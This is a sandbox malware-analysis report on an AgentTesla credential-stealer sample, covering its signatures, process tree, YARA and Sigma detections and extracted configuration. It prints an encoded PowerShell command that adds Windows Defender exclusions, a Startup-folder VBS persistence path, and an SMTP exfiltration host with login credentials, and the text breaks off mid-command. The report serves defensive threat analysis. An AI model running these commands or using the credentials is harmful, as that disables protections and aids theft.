Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Analysis ID:	1640277
MD5:	b5c6eb2feca156e403440f4faf478a49
SHA1:	cb75e98effd3fd29afdceaf62da673b9f22b9ae7
SHA256:	b96767c466fd2ecf582a34edb8fa2250ee42aad6dc3274085216c5fc27dc0b0d
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Drops VBS files to the startup folder

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe (PID: 7460 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe" MD5: B5C6EB2FECA156E403440F4FAF478A49)

cmd.exe (PID: 7716 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7768 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

powershell.exe (PID: 4804 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7000 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

InstallUtil.exe (PID: 2964 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7316 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7728 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

wscript.exe (PID: 1400 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

pdf.exe (PID: 7948 cmdline: "C:\Users\user\AppData\Roaming\pdf.exe" MD5: B5C6EB2FECA156E403440F4FAF478A49)

cmd.exe (PID: 7628 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3664 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 872 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 4244 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5628 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2428186075.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000E.00000002.1675252240.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1738552650.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1459801581.0000000006890000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 2964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 2964	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: pdf.exe PID: 7948	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: pdf.exe PID: 7948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pdf.exe PID: 7948	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: pdf.exe PID: 7948	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 872	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.pdf.exe.3a89db5.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6890000.7.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6890000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
19.2.pdf.exe.3a29d75.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
19.2.pdf.exe.3a49d95.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
19.2.pdf.exe.3a89db5.4.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3173d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31859:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31935:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a5b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
19.2.pdf.exe.3db85e8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.pdf.exe.3db85e8.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.2.pdf.exe.3db85e8.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3173d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31859:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31935:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a5b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
19.2.pdf.exe.3db85e8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.pdf.exe.3db85e8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.2.pdf.exe.3db85e8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ParentProcessId: 7460, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 7716, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ParentProcessId: 7460, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeA

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , ProcessId: 1400, ProcessName: wscript.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 